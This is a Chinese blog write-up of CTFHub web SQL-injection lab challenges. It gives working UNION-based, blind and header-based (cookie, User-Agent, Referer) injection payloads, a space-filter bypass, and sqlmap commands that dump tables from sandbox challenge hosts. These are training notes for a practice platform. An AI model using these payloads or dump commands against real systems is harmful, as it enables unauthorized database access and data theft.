CTFHUB-WEB-SQL注入

sql学的太不好了,回炉重造

判断 Sql 注入漏洞的类型

1.数字型

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

    Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
    Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

2.字符型

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

  1.Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
  2.Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

 order by判断列数

SQL的Order By语句的详细介绍-51CTO.COM

ORDER BY语句是SQL中非常重要的一个关键字,它可以让我们对查询结果进行排序,让结果更有意义和可读性。我们可以使用列名、列位置和表达式来指定排序的依据,并且可以按照升序或降序进行排序。同时,我们也可以指定多个排序依据,以及按照不同的优先级进行排序。

sql语句闭合

https://www.cnblogs.com/cainiao-chuanqi/p/13543280.html 

重要函数

group_concat()函数

GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里 的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。

GROUP_CONCAT()是MySQL数据库提供的一个聚合函数,用于将分组后的数据按照指定的顺序进行字符串拼接。它可以将多行数据合并成一个字符串,并可选地添加分隔符。


information_schema

information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

ctfhub

整数型注入

 题目已经说了是整数型注入:

 ?id=1 and 1=1,有回显

 ?id=1 and 1=2,无回显,说明有注入点,判断列数

 ?id=-1 union select 3,database(),查当前数据库

-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli" ,查表

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' 查列

?id=-1 union select 1,group_concat(flag) from sqli.flag,查字段内容

字符型注入:当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。

字符型注入

手注

判断注入类型

 ?id=1'and '1'='1

?id=1'and '1'='2

判断列数

 两列

判断回显位-1' union select 1,2#

-1' union select 1,database()# 

查列名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

 查字段内容-1' union select 1,(select flag from flag)#

sqlmap注入

查库

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" --dbs -batch

查表

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli --tables

查字段

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli -T flag --columns 

查字段内容

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli -T flag -C flag --dump

布尔盲注

布尔类型(Boolean type)

布尔类型只有两个值,True 和 False。通常用来判断条件是否成立。计算机里的一种数据类型,一般用于逻辑运算和比较运算。

盲注

盲注是指在SQL注入过程中,SQL语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

    web页面返回True 或者 false,构造SQL语句,利用and,or,not等关键字

手注  

判断当前数据库名的长度

1 and length(database())=4 

匹配数据库名的ASCII码:把数据库名的各个字符分别与ASCII码匹配,每一次匹配都要跑一次ASCII表 

1 and ascii(substr(database(),1,1))=115
1 and ascii(substr(database(),2,1))=113
...
#数据库是security,这里直接给了true值

1 and (select count(table_name) from information_schema.tables where table_schema="sqli")=2
#sqli下共是4个表,直接给了true值 

匹配表名的ASCII码: 

 1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),1,1))=102
1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),2,1))=108
...
#sqli第一个表名是flag,直接给了true值

判断字段(列)数: 

1 and (select count(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag")=1
#flag下有1个字段,直接给了true值 

sqlmap注入

sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=" --dbs

爆库

爆的很慢

sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=" -D sqli --tables 

爆表

sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns

爆字段

爆字段内容,得到flag,跑的太慢了

时间盲注

手注的话基本没方法,都是用脚本或者sqlmap还有bp

cthub——时间盲注_ctfhub时间盲注_陈艺秋的博客-CSDN博客

直接就是sqlmap

爆库

qlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -dbs 

爆表

sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

爆字段

sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns

爆字段内容,得到flag

sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump 

 

MySQL结构

还是sqlmap

sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" --dbs 

sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables 

 sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol --columns 

sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol -C uzufsfbkmh --dump 

 

Cookie注入 

sqlmap

爆表

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 --dbs 

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli --tables 

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli -T nstjjcciab --columns

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli -T nstjjcciab -C modgbjjxvs --dump

UA注入

 CTFHub - UA注入-CSDN博客

有三种方式,一种是bp抓包注入,一种是sqlmap,一种是跑脚本

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 --dbs

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 -D sqli --tables

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 -D sqli -T nirrlnzyau --columns 

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 -D sqli -T nirrlnzyau -C ifvkcqvwxo --dump

 Refer注入

CTFHub - Refer注入_ctfhubrefer注入_CS_Nevvbie的博客-CSDN博客

Referer: 0 union select 1,database()

Referer: 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 Referer: 0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='efdlqtawmh'

 Referer: 0 union select 1,group_concat(onnawcxyvb) from sqli.efdlqtawmh

空格过滤

常用绕过空格过滤的方法:

/**/、()、%0a

?id=1/**/and/**/1=1

 ?id=1/**/and/**/1=2,报错了,确定是数字型注入

看回显位

查列数

 发现到3没有回显了,一共两列

开始注入,

查库:?id=-1/**/union/**/select/**/1,database()

得到库名:sqli

?id=-1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'  查表

查字段:?id=-1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_name='lyispybtyt'

查字段内容, 得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/168620.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++学习笔记(二):C++是如何运行的

C是如何运行的 include 预处理语句&#xff0c;在编译前就会被处理。 main函数 程序入口。 #include <iostream>int main() {std::cout << "Hello World!" << std::endl;std::cin.get();return 0; }Visual Studio 解决方案平台指的是编译的代码的…

【Python】Python爬虫使用代理IP的实现

前言 在爬虫的过程中&#xff0c;我们经常会遇到需要使用代理IP的情况。比如&#xff0c;针对目标网站的反爬机制&#xff0c;需要通过使用代理IP来规避风险。因此&#xff0c;本文主要介绍如何在Python爬虫中使用代理IP。 一、代理IP的作用 代理IP&#xff0c;顾名思义&…

基于单片机的空调智能控制器的设计

**单片机设计介绍&#xff0c;基于单片机的空调智能控制器的设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的空调智能控制器需要具备输入输出端口、定时器、计数器等模块&#xff0c;以便对空调进行精确控制。下…

Kubernetes基础(七)-Pod资源Limits与Requests

在k8s的集群环境中&#xff0c;资源的合理分配和使用非常重要。毕竟容器化要解决的问题之一就是资源的充分利用。在集群中分配资源的时候就不得不提到Limits和Requests。 1 Namespace配额 Kubernetes 是允许管理员在命名空间中指定资源 Requests 和 Limits 的&#xff0c;这一…

自然语言处理中的文本聚类:揭示模式和见解

一、介绍 在自然语言处理&#xff08;NLP&#xff09;领域&#xff0c;文本聚类是一种基本且通用的技术&#xff0c;在信息检索、推荐系统、内容组织和情感分析等各种应用中发挥着关键作用。文本聚类是将相似文档或文本片段分组为簇或类别的过程。这项技术使我们能够发现隐藏的…

人工智能与养老:技术助力银色产业的崛起

人工智能与养老&#xff1a;技术助力银色产业的崛起 随着人口老龄化的加速推进&#xff0c;养老问题成为了全球关注的热点。人工智能&#xff08;AI&#xff09;技术的迅猛发展&#xff0c;为养老领域注入了新的活力。本文将探讨人工智能在养老领域的应用、关键挑战以及前景展望…

SpringCloudAlibaba——Sentinel

Sentinel也就是我们之前的Hystrix&#xff0c;而且比Hystrix功能更加的强大。Sentinel是分布式系统的流量防卫兵&#xff0c;以流量为切入点&#xff0c;从流量控制、流量路由、熔断降级等多个维度保护服务的稳定性。 Sentinel采用的是懒加载&#xff0c;这个接口被访问一次&a…

C语言----静态链接库和动态链接库

在前面的文章中讲到可执行程序的生成需要经过预处理&#xff0c;编译&#xff0c;汇编和链接四个步骤&#xff0c;链接阶段是链接器将该目标文件与其他目标文件、库文件、启动文件等链接起来生成可执行文件。 需要解读一下库文件&#xff0c;我们可以将库文件等价为压缩包文件&…

基于springboot+vue的校园闲置物品交易系统

运行环境 开发语言&#xff1a;Java 框架&#xff1a;springboot JDK版本&#xff1a;JDK1.8 服务器&#xff1a;tomcat7 数据库&#xff1a;mysql 数据库工具&#xff1a;Navicat11 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven 项目介绍 本文从管…

Kafka中遇到的错误:

1、原因&#xff1a;kafka是一个去中心化结果的&#xff0c;所以在启动Kafka的时候&#xff0c;每一个节点上都需要启动。 启动的命令&#xff1a;kafka-server-start.sh -daemon /usr/local/soft/kafka_2.11-1.0.0/config/server.properties

AI时代产品经理升级之道:ChatGPT让产品经理插上翅膀

文章目录 一、ChatGPT简介二、ChatGPT在产品经理工作中的应用1. 快速获取用户反馈2. 智能分析竞品3. 智能推荐产品4.分析市场趋势5.优化产品功能 三、总结与展望《AI时代产品经理升级之道&#xff1a;ChatGPT让产品经理插上翅膀》亮点内容简介目录作者简介获取方式 随着人工智能…

Windows系统安装2个版本得的MySQL

一、MySQL官网下载对应版本的zip文件 最新版本8.0.34下载链接&#xff1a;https://dev.mysql.com/downloads/mysql/ MySQL 5.7下载链接&#xff1a;https://downloads.mysql.com/archives/community/ 二、将下载到的压缩包解压到指定目录 使用解压工具将下载到的压缩包解…